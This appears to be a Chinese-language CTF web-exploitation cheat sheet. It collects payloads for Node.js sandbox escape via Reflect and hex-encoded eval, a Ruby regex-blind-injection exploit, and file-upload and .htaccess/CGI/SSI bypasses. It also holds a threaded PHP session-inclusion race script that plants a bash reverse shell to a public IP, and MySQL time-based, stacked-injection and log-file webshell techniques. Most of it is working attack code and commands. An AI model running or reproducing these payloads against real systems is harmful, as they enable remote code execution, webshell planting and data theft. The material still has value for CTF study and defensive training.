实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

拿到eval之后,就可以常规思路rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里虽然有可能被检测到的关键字,但由于mainModuleglobalchild_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

过滤中括号的情况

3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]

所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

https://www.anquanke.com/post/id/237032

bash盲注

正则匹配时间盲注

正则匹配时间盲注

论文:https://diary.shift-js.info/blind-regular-expression-injection/
2021ciscn 正则表达式盲注exp

require 'net/http'

CHALLENGE = 'http://127.0.0.1:4567/'

String.class_eval do
def hex
res = ''
self.each_byte do |i|
res += "%02x" % i
end
return res
end
end

def random(len)
chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
s = ""
1.upto(len) do
s << chars[rand(chars.size - 1)]
end
s
end

def check_result(reg, suffix)
full_regexp = "^(?=" + reg + ")((.*)*)*" + suffix
p full_regexp
uri = URI(CHALLENGE + 'check/' + full_regexp.hex)
Net::HTTP.get_response(uri)
end

def leak(flag, r)
chars = '0123456789abcdef'
(0..15).each do |i|
if check_result(flag + chars[i], r).body["False"]
p flag + chars[i]
return leak(flag + chars[i], r)
end
end
end

r = random(10)+'$'
leak('', r)


# "facdf9972bb5fdf9c35d6e09770e9af7"

文件操作

文件上传绕过

前段验证绕过

改js文件

MIME-TYPE绕过

抓包改

黑名单后缀绕过

选择php3、php4、phtml等不常见后缀

双写绕过

文件内容绕过

AddHandler php5-script .jpg
<!--将.jpg文件按照php代码进行解析执行-->

AddType application/x-httpd-php.jpg
<!--将.jpg文件按照php代码进行解析执行-->

Sethandler application/x-httpd-php
<!--将该目录及子目录下的文件均按照php文件解析执行-->
### 进行文件包含
php_valueauto_append_file /tmp/webshell.txt
php_valueauto_append_file /tmp/sess_xxxxxx
### 上传htaccess发现有内容过滤(php) **方法1**.:使用cgi方式进行解析 将以下内容写入htaccess后上传 内容为:使用cgi的解析脚本
Options +ExecCGI
SetHandlercgi-script
上传cgi文件
#!/bin/bash
echo "Content-Type: text/plain”
echo ""
cat /flag
exit 0
**方法2**:反斜线+换行
AddTypeapplication/x-httpd-p\
hp.jpg
**方法3**:使用shtml方式进行解析 htaccess上传一下内容
AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes
shtml内进行命令执行
<pre>
<!--#exec cmd="whoami" -->
</pre>
### user.ini文件的利用 ## 文件包含利用 ### 本地文件包含利用点 #### 包含目录下的文件 #### 获取web目录或者其他配置文件 #### 包含上传的附件
?file=../....../xxx.file
#### 包含/读取session文件: save_path为novalue则表示存储在默认的/tmp或/var/lib/php/session目录下 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。 img
?file=../../../../../tmp/sess_xxxx
import requests
import threading
sess_id="tlife"
s=requests.session()
url="http://b.y1ng.vip:2014"
def session_upload():
while True:
res= s.post(
url=f"{url}?page=/tmp/sess_{sess_id}",
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?=`bash -c 'bash -i >& /dev/tcp/110.42.133.120/9999 0>&1'`;?>"
},
files={"file": ('xxx.txt', open("shell.txt", "r"))},
cookies={'PHPSESSID':sess_id}
)
for i in range(100):
thread=threading.Thread(target=session_upload)
thread.start()

#### 读取phpinfo可以包含临时文件 ##### 1.条件竞争 ##### 2.php7.0 filter新特性(伪协议)
file=php://filter/string.strip_tags/resource=/etc/passwd
php://filter/read=convert.base64-encode/resource=mybackdoor.php
php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
?file=php://filter/read=convert.base64-decode/resource=./a.txt
会造成一个segment fault,导致临时文件不会被删除 ##### 3.自己包含自己 上传文件让其一直被执行包含 访问包含文件即可。 #### 利用php流input
?file=php://input(需要allow_url_include=On)
filte协议读源码:
若base64-encode被过滤,可以更换另一种编码方式
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php如果没有过滤utf,使用convert.iconv.utf-8.utf-7
https://www.php.net/manual/en/mbstring.supported-encodings.php
或者直接base64-encode的二次urlencode ## 文件读取可读内容整理
proc 是个好东西,总结下经常会用到的文件:
1.maps 记录一些调用的扩展或者自定义so 文件
2.environ 环境变量
3.comm当前进程运行的程序
4.cmdline程序运行的绝对路径
5.cpusetdocker环境可以看machine ID
6.cgroupdocker环境下全是machine ID 不太常用
## nodejs文件读取 python 或者js 最重要的文件一般都是app.js path-as-is问题,对斜线进行url编码 ## python文件读取 ### 过滤了./进行目录穿越 python黑魔法: 两个都是平级目录,会直接从选取后一个目录进行读取
os.path.join('/tmp','/etc/passwd')

os.path.join('/tmp','/../../etc/passwd')是等价的

堆叠+无列名+时间盲注

延时盲注

延时函数:

sleep()

select sleep();

benchmark()

select benchmark(100000,sha1(sha1(sha1('tlfie'))));

get_lock

在一个session中先锁定一个变量 然后通过另一个session,再次执行get_lock函数

select get_lock('tlife',1);
select get_lock('tlife',5);

但也不是每次都能用,需要提供长连接,在Apache+PHP搭建的环境中需要使用mysql_pconnect函数来连接数据库,所以只能根据环境去实际测试一下,我在本地也没测试成功

正则表达式延时

正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

文件操作

mysql变量

可以通过

show variables

来查看系统变量以及其值
img

和文件有关的变量secure_file_priv

secure_file_priv对读写文件有影响。

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld不允许导入|导出。默认是nul

l当secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

读文件
select load_file('/flag')
select CONVERT(LOAD_FILE("/etc/passwd") USING utf8);
写文件
select "<?php phpinfo();?>" into outfile "/tmp/1.php"
select "<?php phpinfo();?>" into dumpfile "/tmp/1.php"

outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

堆叠注入

堆叠注入条件

$mysqli->multi_query($sql);

当secure_file_priv为null时

如果堆叠注入,可以利用log日志文件写马

set global general_log=on;
set global general_log_file='xxxx';-- 设置日志文件保存位置
select '<?php eval($_POST['a']); ?>';-- 该内容将会被写入日志中

堆叠注入中select被过滤

handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

handler users open as hd; #指定数据表进行载入并将返回句柄重命名
handler hd read first; #读取指定表/句柄的首行数据
handler hd read next;#读取指定表/句柄的下一行数据
handler hdclose; #关闭句柄

mysql预处理

一、SQL 语句的执行处理
1、即时 SQL
  一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:

  1. 词法和语义解析;
  2. 优化 SQL 语句,制定执行计划;
  3. 执行并返回结果;
  如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
2、预处理 SQL
  但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
  所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入

实例如下,可以预编译一个语句然后执行即可,里面的变量是可以更换的

set @a=xxxx;
prepare stmt1 from @a;
execute stmt1;

例1:

img

以上 不设置变量直接使用,以下为设置了变量直接进行调用,
img

这是另一种使用方式,但是似乎无法使用字符串
img

DELIMITER $$create procedure fuck(out oo text(999), in ii text(999))BEGINset oo = ii;END$$call fuck(@a, 0x73656C656374202731323327)$$prepare b from @a$$execute b$$

无列名盲注

过滤了in/or

过滤了in/or导致无法使用information_schema

替代库

select table_name from sys.schema_auto_increment_columns where tabe_schema=database();

img

select table_name from mysql.innodb_table_stats where database_name='security'

img

select group_concat(table_name) from sys.schema_table_statistics

但是我们查询不了列名,这个时候就需要使用无列名盲注

#查询所有的库
SELECT table_schemaFROM sys.schema_table_statisticsGROUP BY table_schema;
SELECT table_schemaFROM sys.x$schema_flattened_keysGROUP BY table_schema;
#查询指定库的表(若无则说明此表从未被访问)
SELECT table_nameFROM sys.schema_table_statisticsWHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_nameFROM sys.x$schema_flattened_keysWHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) iofrom sys.schema_table_statisticsgroup by table_schema,table_nameorder by iodesc;
#查看所有正在连接的用户详细信息
SELECT user,db,command,current_statement,last_statement,timeFROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connectionsFROM sys.host_summary;

无列名盲注

union重命名

select 1,2,3 union select * from users
img **注入语句可写为**
select group_concat(a.2) from (select 1,2,3 union select * from users);

img

比较法

这就是盲注的思想了,前面的部分是你要注的内容,因为要判断不同,所以后面的都应该是最大的zzz 这样才能保证每一位的改变能影响后面的

img

这是对比第二位是的完整结果是admin
img

编写脚本的时候可能还需要做一个该字段是否结束的判断,也就是从一开始遍历到最后都没改变 说明结束了

img